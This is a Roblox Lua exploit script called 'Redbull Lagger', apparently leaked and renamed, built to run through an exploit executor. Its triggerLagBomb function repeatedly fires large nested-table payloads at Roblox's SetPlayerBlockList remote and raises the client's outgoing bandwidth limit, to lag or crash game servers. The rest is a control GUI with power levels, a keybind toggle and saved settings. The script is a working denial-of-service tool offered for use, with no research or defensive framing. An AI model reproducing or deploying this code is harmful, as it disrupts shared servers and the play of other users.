-- leak and rename by prince local Players = game:GetService("Players") local UserInputService = game:GetService("UserInputService") local TweenService = game:GetService("TweenService") local CoreGui = game:GetService("CoreGui") local HttpService = game:GetService("HttpService") local ConfigFile = "RedbullLaggerConfig.json" local LaggerLevels = { Low = {power = 23}, Mid = {power = 32}, High = {power = 70} } local keybind = Enum.KeyCode.M local isListeningForInput = false local isLaggerActive = false local lagThread = nil local currentLevel = "Low" local isWindowLocked = false local UI_CONFIG = { ButtonInact = Color3.fromRGB(40, 40, 40), ButtonLow = Color3.fromRGB(0, 255, 0), ButtonMid = Color3.fromRGB(255, 255, 0), ButtonHigh = Color3.fromRGB(255, 0, 0), ToggleOff = Color3.fromRGB(45, 45, 45), BorderColor = Color3.fromRGB(40, 40, 40), Font = Enum.Font.GothamBlack } local function saveConfig() local data = { Nivel = currentLevel, Bloqueado = isWindowLocked } pcall(function() writefile(ConfigFile, HttpService:JSONEncode(data)) end) end local function loadConfig() if pcall(isfile, ConfigFile) and isfile(ConfigFile) then pcall(function() local data = HttpService:JSONDecode(readfile(ConfigFile)) currentLevel = data.Nivel or "Low" isWindowLocked = data.Bloqueado or false end) end end loadConfig() local function triggerLagBomb(power) local payload = {} local nestedTable = {{}} local current = nestedTable[1] for i = 1, 4 do local t = {} table.insert(current, t) current = t end local limit = math.min(1800, power * 7) for i = 1, limit do table.insert(payload, nestedTable) end pcall(function() game:GetService("RobloxReplicatedStorage").SetPlayerBlockList:FireServer(payload) end) end local toggleBall, toggleContainer, btnLow, btnMid, btnHigh, lockButton local keybindButton, toggleClick local function updateLevelButtons() local levels = {Low = btnLow, Mid = btnMid, High = btnHigh} for name, button in pairs(levels) do local isActive = (currentLevel == name) button.BackgroundColor3 = isActive and UI_CONFIG["Button" .. name] or UI_CONFIG.ButtonInact button.BorderSizePixel = isActive and 0 or 1 button.BorderColor3 = UI_CONFIG.BorderColor button.TextColor3 = Color3.fromRGB(255, 255, 0) end end local function updateToggleUI() if toggleBall then toggleBall.Position = isLaggerActive and UDim2.new(1, -18, 0.5, -9) or UDim2.new(0, 3, 0.5, -9) end if toggleClick then toggleClick.Text = isLaggerActive and "ACTIVE" or "INACTIVE" toggleClick.TextColor3 = isLaggerActive and Color3.fromRGB(0, 255, 0) or Color3.fromRGB(255, 0, 0) end end local function updateLockUI() lockButton.Text = isWindowLocked and "Lock" or "Unlock" end local function updateKeybindUI() local display = keybind.Name:gsub("Button", "") keybindButton.Text = "KEY: " .. display end local function toggleLagger() isLaggerActive = not isLaggerActive updateToggleUI() if isLaggerActive then if lagThread then task.cancel(lagThread) end lagThread = task.spawn(function() while isLaggerActive do pcall(function() game:GetService("NetworkClient"):SetOutgoingKBPSLimit(80000) end) triggerLagBomb(LaggerLevels[currentLevel].power) task.wait(0.18) end end) else if lagThread then task.cancel(lagThread); lagThread = nil end end end if CoreGui:FindFirstChild("RedbullLagger_UI") then CoreGui.RedbullLagger_UI:Destroy() end local screenGui = Instance.new("ScreenGui") screenGui.Name = "RedbullLagger_UI" screenGui.Parent = CoreGui screenGui.ResetOnSpawn = false local mainFrame = Instance.new("Frame", screenGui) mainFrame.Name = "MainFrame" mainFrame.BackgroundColor3 = Color3.fromRGB(0, 50, 200) mainFrame.BorderSizePixel = 2 mainFrame.BorderColor3 = Color3.fromRGB(0, 80, 255) mainFrame.Size = UDim2.new(0, 200, 0, 78) mainFrame.Position = UDim2.new(0.15, 0, 0.5, -39) mainFrame.ClipsDescendants = true Instance.new("UICorner", mainFrame).CornerRadius = UDim.new(0, 8) local titleLabel = Instance.new("TextLabel", mainFrame) titleLabel.BackgroundTransparency = 1 titleLabel.Position = UDim2.new(0, 3, 0, 0) titleLabel.Size = UDim2.new(0, 80, 0, 22) titleLabel.Font = Enum.Font.GothamBlack titleLabel.Text = "Redbull Lagger" titleLabel.TextColor3 = Color3.fromRGB(255, 255, 0) titleLabel.TextSize = 16 titleLabel.TextXAlignment = Enum.TextXAlignment.Left keybindButton = Instance.new("TextButton", mainFrame) keybindButton.BackgroundColor3 = Color3.fromRGB(25, 25, 30) keybindButton.Position = UDim2.new(1, -62, 0, 1) keybindButton.Size = UDim2.new(0, 34, 0, 12) keybindButton.Font = Enum.Font.GothamBlack keybindButton.TextSize = 6 keybindButton.TextColor3 = Color3.fromRGB(255, 255, 0) keybindButton.AutoButtonColor = false Instance.new("UICorner", keybindButton).CornerRadius = UDim.new(0, 5) updateKeybindUI() lockButton = Instance.new("TextButton", mainFrame) lockButton.BackgroundColor3 = Color3.fromRGB(25, 25, 30) lockButton.Position = UDim2.new(1, -28, 0, 1) lockButton.Size = UDim2.new(0, 26, 0, 12) lockButton.Font = Enum.Font.GothamBlack lockButton.TextSize = 6 lockButton.TextColor3 = Color3.fromRGB(255, 255, 0) lockButton.AutoButtonColor = false Instance.new("UICorner", lockButton).CornerRadius = UDim.new(0, 5) lockButton.MouseButton1Click:Connect(function() isWindowLocked = not isWindowLocked updateLockUI() saveConfig() end) updateLockUI() local textLagger = Instance.new("TextLabel", mainFrame) textLagger.BackgroundTransparency = 1 textLagger.Position = UDim2.new(0, 5, 0, 24) textLagger.Size = UDim2.new(0, 65, 0, 18) textLagger.Font = Enum.Font.GothamBlack textLagger.Text = "LAGGER" textLagger.TextColor3 = Color3.fromRGB(255, 255, 0) textLagger.TextSize = 11 textLagger.TextXAlignment = Enum.TextXAlignment.Left toggleContainer = Instance.new("Frame", mainFrame) toggleContainer.BackgroundColor3 = UI_CONFIG.ToggleOff toggleContainer.Position = UDim2.new(1, -52, 0, 24) toggleContainer.Size = UDim2.new(0, 44, 0, 18) Instance.new("UICorner", toggleContainer).CornerRadius = UDim.new(1,0) toggleBall = Instance.new("Frame", toggleContainer) toggleBall.BackgroundColor3 = Color3.fromRGB(255, 255, 255) toggleBall.Size = UDim2.new(0, 16, 0, 16) toggleBall.Position = UDim2.new(0, 3, 0.5, -8) Instance.new("UICorner", toggleBall).CornerRadius = UDim.new(1,0) toggleClick = Instance.new("TextButton", toggleContainer) toggleClick.BackgroundTransparency = 1 toggleClick.Size = UDim2.new(1,0,1,0) toggleClick.Font = Enum.Font.GothamBlack toggleClick.Text = "INACTIVE" toggleClick.TextSize = 6 toggleClick.TextColor3 = Color3.fromRGB(255, 0, 0) toggleClick.MouseButton1Click:Connect(toggleLagger) keybindButton.MouseButton1Click:Connect(function() if isListeningForInput then return end isListeningForInput = true keybindButton.Text = "..." end) UserInputService.InputBegan:Connect(function(input, gp) if isListeningForInput and not gp then local newKey = input.KeyCode if newKey ~= Enum.KeyCode.Unknown then keybind = newKey isListeningForInput = false updateKeybindUI() end elseif not gp and (input.KeyCode == keybind) then toggleLagger() end end) local function createLevelButton(name, xOffset) local btn = Instance.new("TextButton", mainFrame) btn.Size = UDim2.new(0, 50, 0, 20) btn.Position = UDim2.new(0, xOffset, 0, 46) btn.Font = UI_CONFIG.Font btn.Text = name:upper() btn.TextColor3 = Color3.fromRGB(255, 255, 0) btn.TextSize = 9 btn.AutoButtonColor = false btn.BorderSizePixel = 1 Instance.new("UICorner", btn).CornerRadius = UDim.new(0, 6) btn.MouseButton1Click:Connect(function() currentLevel = name updateLevelButtons() saveConfig() end) return btn end btnLow = createLevelButton("Low", 5) btnMid = createLevelButton("Mid", 60) btnHigh = createLevelButton("High", 115) updateLevelButtons() updateToggleUI() local isDragging, dragStart, startPos mainFrame.InputBegan:Connect(function(input) if not isWindowLocked and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then isDragging = true dragStart = input.Position startPos = mainFrame.Position end end) UserInputService.InputChanged:Connect(function(input) if isDragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then local delta = input.Position - dragStart mainFrame.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y) end end) mainFrame.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then isDragging = false end end)